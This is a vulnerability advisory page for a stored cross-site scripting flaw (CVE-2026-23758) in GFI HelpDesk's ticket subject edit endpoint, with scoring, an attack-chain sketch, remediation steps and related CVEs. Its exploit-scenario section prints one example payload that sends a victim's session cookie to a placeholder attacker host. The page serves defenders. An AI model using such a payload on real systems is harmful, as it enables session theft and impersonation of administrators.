Skip to main content

Helpdesk EUVDEUVD-2026-23910

| CVE-2026-23758 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulnCheck GHSA-rf6c-2qc7-c945
6.4
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Compromise or obtain staff credentials
  2. Delivery
    Access helpdesk and create ticket
  3. Exploit
    Edit ticket subject with XSS payload
  4. Install
    Bypass SanitizeForXSS() method
  5. C2
    Inject malicious JavaScript
  6. Execute
    Target staff/admin views ticket
  7. Impact
    Script executes in victim's browser
  8. Step 8
    Steal session or escalate privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated staff member account with permission to edit ticket subject fields (the standard GFI HelpDesk staff role). The attacker must craft a malicious POST request to the editsubject endpoint containing JavaScript that bypasses the incomplete SanitizeForXSS() function - specific bypass techniques depend on how the method filters input, which is not detailed in available documentation. A victim (another staff member or administrator) must subsequently view the ticket containing the injected payload, causing the JavaScript to execute in their browser. No special non-default configuration is required; the vulnerability is present in default GFI HelpDesk installations. The vulnerability is limited to authenticated users (PR:L requires valid staff credentials) and requires user interaction (UI:P - viewing the ticket), meaning mass automated exploitation is not feasible. The injection point is specifically the editsubject POST parameter in the Controller_Ticket.EditSubmit() function.

Impact

This vulnerability presents moderate real-world risk constrained by multiple factors. The CVSS 6.4 score reflects network accessibility and low attack complexity, but the requirement for authenticated staff credentials (PR:L) and user interaction (UI:P - victims must view the malicious ticket) significantly limits practical exploitability. The CVSS vector indicates high impact to system integrity (SI:H) and confidentiality (SC:H), meaning successful exploitation can compromise helpdesk operations and staff member sessions. However, the attack requires an insider threat or compromised staff account, reducing the attacker population substantially compared to unauthenticated network attacks. The presence of a vendor-released patch and the stored nature of the XSS (allowing targeted attacks against high-value targets like administrators) suggests this is a real priority for organizations relying on GFI HelpDesk, particularly those with high-privilege staff, but not an emergency requiring emergency patching in all environments. Organizations with mature change management can prioritize this within normal patching cycles. The incomplete SanitizeForXSS() method indicates insufficient input validation depth, a pattern often indicative of other similar flaws in the same codebase.

Exploit ScenarioDerived

A disgruntled helpdesk staff member with valid credentials creates a support ticket, then edits the subject line to inject a JavaScript payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator reviews the ticket, the payload executes in the administrator's browser context, stealing the administrator's session cookie and allowing the attacker to impersonate the administrator account. Alternatively, a compromised low-privilege staff account could be used to inject XSS targeting other staff members to harvest their credentials or redirect them to a phishing page.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 20, 2026

GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subject fields via inadequate sanitization in the editsubject POST parameter, enabling arbitrary script execution when other staff or administrators view affected tickets. The vulnerability impacts confidentiality and integrity within the application's scope, with exploitation confirmed possible but requiring valid staff credentials and user interaction (viewing the malicious ticket). Patch version 4.99.9 or later is available from the vendor.

RemediationAI

Upgrade GFI HelpDesk to version 4.99.9 or later immediately to obtain the vendor-released patch that corrects the inadequate sanitization in the editsubject parameter handling. The patch is available from GFI's official product release page at https://gfi.ai/products-and-solutions/email-and-messaging-solutions/helpdesk/resources/product-releases. For organizations unable to upgrade immediately, implement the following compensating controls: (1) Restrict the ability to edit ticket subjects to senior administrators only by adjusting role-based access control in GFI HelpDesk settings, though this degrades helpdesk workflow efficiency; (2) Review audit logs for suspicious editsubject modifications and manually inspect tickets edited by staff members with elevated privileges for malicious script tags before opening them in a browser; (3) Implement Content Security Policy (CSP) headers at the web server level to restrict inline script execution, which may interfere with legitimate helpdesk functionality and requires testing before deployment. None of these workarounds fully eliminate the vulnerability - patching is the definitive remediation.

Affected VersionsENISA

Helpdesk 0 <4.99.9

Affected Packages

euvd helpdesk fix: 4.99.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a stored cross-site scripting (CWE-79) vulnerability in the GFI HelpDesk ticket management system. The vulnerability exists in the Controller_Ticket.EditSubmit() function, which processes POST requests for the editsubject parameter without properly sanitizing user input before storage in the database. While the application implements a SanitizeForXSS() method, it fails to adequately filter malicious JavaScript payloads, allowing authenticated users to bypass the incomplete sanitization routine. When other staff members or administrators subsequently retrieve and display the affected ticket, the injected JavaScript executes in their browsers with their authentication context, potentially allowing session hijacking, credential theft, or unauthorized actions within the helpdesk system.

Know when Helpdesk gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

3
CVSS changed
Apr 20, 2026 - 18:22 NVD
5.1 (MEDIUM) 6.4 (MEDIUM)
Patch released
Apr 20, 2026 - 18:00 nvd
Patch available
CVE Published
Apr 20, 2026 - 17:30 nvd
MEDIUM 6.4

DescriptionCVE.org

GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the ticket subject field that allows authenticated staff members to inject malicious JavaScript by manipulating the editsubject POST parameter. Attackers can inject XSS payloads through inadequate sanitization in Controller_Ticket.EditSubmit() that bypass the incomplete SanitizeForXSS() method to execute arbitrary JavaScript when other staff members or administrators view the affected ticket.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-10655 HIGH POC
8.6 Dec 09

SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL

CVE-2018-0714 CRITICAL
9.8 Aug 13

Command injection vulnerability in Helpdesk versions 1.1.21 and earlier in QNAP QTS 4.2.6 build 20180531, QTS 4.3.3 buil

CVE-2026-78434 MEDIUM POC
5.5 Aug 24

Unauthenticated actors can post ticket replies in Faveo Helpdesk versions 2.0.0 through 2.0.3 by sending crafted request

CVE-2020-11431 CRITICAL
9.1 May 07

The documentation component in i-net Clear Reports 16.0 to 19.2, HelpDesk 8.0 to 8.3, and PDFC 4.3 to 6.2 allows a remot

CVE-2021-28814 HIGH
8.8 Jun 11

An improper access control vulnerability has been reported to affect QNAP NAS. Rated high severity (CVSS 8.8), this vuln

CVE-2024-58343 MEDIUM POC
4.3 Apr 16

Vision Helpdesk before 5.7.0 (patched in 5.6.10) allows attackers to read user profiles via modified serialized cookie d

CVE-2024-50394 HIGH
7.7 Mar 07

An improper certificate validation vulnerability has been reported to affect Helpdesk. Rated high severity (CVSS 7.7), t

CVE-2020-2500 MEDIUM
6.5 Jul 01

This improper access control vulnerability in Helpdesk allows attackers to get control of QNAP Kayako service. Rated med

CVE-2026-78435 LOW POC
2.0 Aug 24

Path traversal in Faveo Helpdesk versions 2.0.0 through 2.0.3 enables remote authenticated administrators to delete arbi

CVE-2026-23756 MEDIUM
5.1 Apr 20

Stored cross-site scripting in GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject arbitrary

CVE-2026-23757 MEDIUM
5.1 Apr 20

Stored cross-site scripting in GFI HelpDesk before version 4.99.10 allows authenticated attackers to inject arbitrary Ja

CVE-2026-23753 MEDIUM
4.8 Apr 20

GFI HelpDesk before version 4.99.9 contains a stored cross-site scripting vulnerability in language management where the

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy